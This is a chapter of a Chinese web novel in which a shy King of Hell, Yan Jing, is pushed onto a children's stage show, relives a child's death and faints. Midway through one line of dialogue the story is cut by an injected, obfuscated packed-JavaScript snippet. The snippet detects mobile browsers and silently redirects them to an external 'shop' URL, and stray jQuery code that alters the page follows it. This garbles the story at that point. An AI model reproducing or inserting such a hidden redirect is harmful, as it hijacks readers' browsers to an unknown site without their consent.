39. 社恐发作的阎王大人

作品:《社恐阎王的人间日常

    阎璟和冷樾两人从恐怖屋出来时,白念生等人已经在外面等候多时了。


    金乔觉那张原本还能勉强称之为帅气的脸上,此刻更是雪上加霜。青一块,紫一块,红一块,简直精彩无比。


    动手的人一共有俩,白念生下虚手,而云为衫下死手,临了还在一旁把手指掰得咔咔作响,继续吓唬人,金乔觉被揍的畏畏缩缩,不敢再造次。


    “怎么?不服气?”云为衫没送他下地狱,已经算便宜他了,“手欠。”


    “不—糊(服)!”金乔觉捂着一边侧脸肿起的腮帮子,拿眼斜她。


    “忍着!”


    白念生在一旁添油加醋,“你说你,好不容易出来玩,就你丫的不干人事。”


    “他是人事部的,能干出什么人事。”


    金乔觉有苦难言,但他真不是故意的,当时怎么就被蛊惑住,一下子揭了镇压符呢!


    所以知道自己闯了大祸,第一时间就把自己保护起来了。


    “瞧把你机灵的,还让唐老鸭给你开路,万一他顶不住,你打算怎么向上面交代??”


    “他客四握闷老肿(他可是我们老总),英勇无畏!”金乔觉说道。


    “确实无畏,他还压根就没把那些放在眼里呢。”白念生捏了根草含在嘴里,漫不经心道:“因为他全程就带着他那破墨镜,就没敢睁开眼睛。”


    “噗嗤!”孟小七在一旁直接笑出了声。


    白念生又转头对她开炮,“别五十步笑百步,你也没好到哪里去。”


    “……说的好像是你出多少力一样,不还是阎小璟和冷总监解决的。”孟小七懒得理他,目光落在密室逃脱出口处。


    左等右等不见阎璟两人出来,担心又出什么幺蛾子。


    直到两人的身影出现在安全出口,才把心放回肚子里。


    白念生在一旁哎呦呦,牙疼个不停,“他俩在一块儿还能出什么大事?瞧把你给操心的。”


    “我的CP我来守!你不懂!”孟小七白他一眼,望着那两人背影,脸上笑意渐显。


    两人慢步走进,跟大部分汇合。


    临近看上去,阎璟脸色并不太好,情绪也显然没有刚进去时那么高涨。


    身为女孩子的孟小七,立刻就察觉到了不对劲。


    这两人在里面……是发生什么了吗?


    怎么各自一副心事重重的样子?


    “阎小璟,你怎么啦?”孟小七凑上前问。


    阎璟回过神来,对着这姑娘轻轻摇了摇头。


    孟小七笑了笑,指指前面,“那我们去玩别的,那边有个超大的摩天轮!我们去坐好不好?把刚才的不愉快统统甩掉!”


    “我坐过了,就不去了,你们去玩吧!


    阎璟兴致缺缺,他甚至都不敢回头看冷樾一眼,只能随便找个借口,“我想随便看看走走,待会儿再找你们汇合。”


    说完就迈着步子就准备开溜,走前还用余光定位一下冷樾的方向,见人视线一直在自己身上,不由更加加快了脚步。


    剩下几人面面相觑,满脸问号。


    云为衫盯着阎璟那莫名的背影,冷不丁给了冷樾一记眼神杀。


    冷樾默默移开她投过来视线,转移话题,“岳晖总呢?”


    “牛力送回去了,说受到了惊吓要回去吃降压药。”白念生神经再大条,也察觉到不对劲了。“那个,他啥情况?阎小璟怎么自己跑了?不玩啦?”


    云为衫扶着额头,显然被白念生的神经大条给整无语。


    冷樾欲言又止,垂下眼眸,没理会他们八卦的目光,锁定阎璟的背影,慢慢抬脚跟了上去。


    两人一走,八卦四人组就围成个圈,开始讨论,孟小七腐女之魂在燃烧,“我发誓,两人有情况。”


    “不用发誓,也有情况,这么明显。”云为衫说。


    “花森马似(发什么誓)?”金乔觉再快人快语中费力插了一句。


    白念生把他猪头往旁边一扭,“先说情况!他们两个不会真在里面洞房了吧!”


    孟小七眼睛扑闪扑闪,“哇哇哇哇哇!”


    云为衫向上翻了一个白眼:“……”


    阎璟心里堵得慌,已经很久没有这种感觉了,真是久违之感。


    他漫无目的晃悠到一处儿童舞台表演区,舞台周围坐满了小朋友。


    阎璟顺势也找了个空位坐了下来,先让自己的心静下来。


    台上的演员正上演着《二郎神大战孙悟空》的戏码,孩子们看得津津有味,拍手叫好。


    阎璟也看得津津有味。


    没想到人间的版本竟然是这样的……


    可惜后来发生的事,世人就不知道了。


    阎璟心想,孙悟空是极其聪明的石猴儿,瞒着天道偷偷吸收天地精华,跳出三界之外,不在五行之中,万物皆不可挡。


    可天道怎么会允许这样一个逆天的存在,于是联合佛界,天界,谋划了一场极为严密以监视形式主义的西行。


    猴子心里也十分清楚,天上那群总经办想让他做什么,不过,他反抗五百年,还是以失败告终,最后无奈戴上紧箍咒。


    猴子修成正果后,跟三只眼冤家路窄,倒是遇见过一次。


    猴子把金箍棒往地上一杵,拦住三只眼去路,“怎么?俺老孙都成佛了,真君还这么古板呢!”


    三只眼懒得理他,冷着一张脸就要离开,“别挡路。”


    “不知好歹!”


    一言不合,便打起来。


    猴子原本自己一个人占山为王乐得自在,这下倒好,被收编后,谈何自由可言。


    反观,那个三只眼,一个听调不听宣!羡煞旁人!


    所谓仇敌见面,分外眼红,二位皆是,提起武器,说打就打!


    猴子不敌,被三只眼一脚踹开,不服,再战。


    全力相搏之下,三只眼被天道强行压制下,渐渐落入下风,最后直接被打进冥界地府里。


    遇见了自己!


    后来,还是自己帮着三只眼觉醒的法天象地呢!


    天上就没几个和他三观合得来的,三只眼算一个,话说自己来人间界,三只眼还不知道呢吧!


    哎!怎么突然想起这些来了?


    真是有感而发!


    舞台上,猴子七十二变,三只眼七十三变,你来我往,变化万千。


    “接下来,有没有观众自愿上台助演呀?”主持人举着话筒吆喝。


    台下的孩子们顿时沸腾了,纷纷举手,希望自己能背选中,“我!我我我……!”


    阎璟环顾四周,围了一圈的小朋友,激动地都快站到椅子上了,就盼着自己被选中能上台表演。


    主持人再台下扫视一圈,心里觉得这群娃太闹腾不好控制,眼神一扫,忽然瞥到安静坐在台下的阎璟,顿时眼睛一亮,“这位帅哥,你愿意上来参演吗?”


    阎璟还以为他在叫别人,左看右看,最后才迟疑的指了指自己。


    “对,就是你!”


    “不不不……”阎璟一听,头皮发麻,连连摆手。


    开玩笑,让他上台?还在众目睽睽之下?


    这不是要他老命嘛!


    旁边的小朋友们倒是兴奋极了,“大哥哥你好幸运!快去呀!”


    阎璟疯狂摇头,光想想他头皮都发麻了。


    奈何左右几个孩子不由分说,把他直接架起来,就往台上推,仿佛能让阎璟上台,会比他们自己上台还要开心。


    “我真不行的!”阎璟苦笑不得。


    “男人不可以说不行。”一个奶声奶气的声音教育他。“你应该说,我不中。”


    还带有口音!


    “…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221665|195461||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”阎璟被赶鸭子上架,被迫出演那位人类最位崇拜的三只眼。


    拿着残次品的三尖两刃刀,尴尬站在原地,和他搭档的是个十来岁的小男孩,演哮天犬。


    一口一个主人,喊得阎璟社恐都快发作了。


    天呐!谁来救救他!


    而那位演猴子的演员恰合时宜凑上来,和阎璟对上戏,


    “呔!吃俺老孙一棒!”


    阎璟僵硬的举起三尖两刃刀,内心只有一个念头:救命,我现在装晕还来得及吗?


    阳光好刺眼!


    生活好无奈!


    基层体验,好社死!


    阎璟有气无力的举起三尖两刃刀,敷衍的跟对方演员对招。


    他打算在对方棒子打过来之际,顺势倒地,直接装晕拉倒!


    完美!


    可那位饰演哮天犬的小演员实在太敬业了。


    一见阎璟倒下,一个箭步冲上前,用肉乎乎的小手空手接白刃,硬生生那身体去挡即将打到阎璟身上的金箍棒,然后嗷呜一声,也跟着倒了下去。


    众人哄堂大笑!


    主持人也在笑!


    就连一直跟着阎璟的冷樾也在台下的某个角落嘴角上扬。


    只有阎璟笑不出来。


    这一幕,何其相似。


    曾经也有个小小的身影,在他面前直直倒了下去,再也没有醒过来。


    他可是无所不能的阎王大人!


    他是无所不能的神!


    但却救不了他!


    为什么会突然想起来……


    阎璟头晕目眩起来,甚至开始神情恍惚,开始分辨不清,眼前这一幕,究竟是真实还是虚幻。


    他下意识想伸手接住那孩子。


    不!不!


    那双眼底深处映上的红,是那个孩子身体里流下的血,都是血,他想不通,一个小小的身体里怎么会流出那么多的鲜血?


    他的呼吸开始急促,“小纶……”


    阎璟仿佛被梦魇住一般,想喊出的声音,低得几乎听不见,“别怕……我会救你……你别怕……”


    直到眼神逐渐开始涣散,只是本能用双手紧紧搂着孩子,已经分不清到底身处何地。


    直到两眼一闭,真晕了过去。


    饰演哮天犬的孩子懵懵的,从他怀里爬起来,看着旁边躺平不动的阎璟,摇了几下,突然放声大喊:


    “不好啦,二郎神被孙悟空打死啦——!”


    纳尼!主持人握着话筒回头一看,顿时僵在台上,“???”


    台下一直旁观的冷樾,见情况不对,立刻现身,三步并作两步,大步流星,快步冲上舞台。


    一把将晕倒的阎璟抱进怀里,轻声唤了几声。


    “小璟……”


    阎璟没有反应,脸色苍白如纸,呼吸也有些急促。


    孩子不明真相,还在一旁拼命的哭!


    冷樾已经无暇顾及,众目睽睽之下,直接打横抱起阎璟,转身就往台下走。


    冷樾没有想到阎璟的社恐,已经到了这么严重的地步。


    这段时间,阎璟跟别人相处的表现已经跟平常无异,太具有欺骗性,让他也放松警惕,觉得无甚大碍。


    谁料……他还是大意了。


    冷樾回去路上,遇到白念生等人,见冷樾怀里抱着阎璟,一个个纷纷都迎了上来,关切问道:“阎小璟怎么了?”


    冷樾脚步未停,往停车地方走,边走边说,“社恐犯了。”


    啊!


    白念生彻底无语起来,“我还以为他好了呢!”


    孟小七在一旁叹息,“平常只觉得他内向,不爱说话,原来还有社恐,恐什么!?”


    白念生想起阎璟怼他那句,原封不动又送给孟小七,“恐你这种社牛!”


    孟小七:“……”